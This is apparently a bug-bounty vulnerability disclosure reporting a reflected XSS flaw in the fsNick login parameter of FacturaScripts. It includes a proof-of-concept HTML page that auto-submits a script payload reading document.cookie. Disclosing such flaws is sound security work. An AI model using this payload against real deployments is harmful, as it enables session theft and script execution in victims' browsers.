Refelect XSS in facturascripts

2022-04-2707:52:02

minhnb11

www.huntr.dev

xss

facturascripts

vulnerability

fsnick parameter

proof of concept

bugbounty

EPSS

0.001

Percentile

30.0%

JSON

Description

facturascripts is vulnerable to XSS in fsNick parameter

Proof of Concept

save this code as poc.html

&lt;html&gt;
  &lt;body&gt;
  &lt;script&gt;history.pushState('', '', '/')&lt;/script&gt;
    &lt;form action="http://localhost/" method="POST"&gt;
      &lt;input type="hidden" name="fsNick" value="1&apos;&quot;&#40;&#41;&amp;&#37;&lt;acx&gt;&lt;ScRiPt&#32;&gt;alert&#40;document&#46;cookie&#41;&lt;&#47;ScRiPt&gt;" /&gt;
      &lt;input type="hidden" name="fsPassword" value="1" /&gt;
      &lt;input type="submit" value="Submit request" /&gt;
    &lt;/form&gt;
    &lt;script&gt;
      document.forms[0].submit();
    &lt;/script&gt;
  &lt;/body&gt;
&lt;/html&gt;

open file with your browser -> xss trigger

EPSS

0.001

Percentile

30.0%

JSON

Related for DA4BBBFD-501F-4C7E-BE83-47778103CB59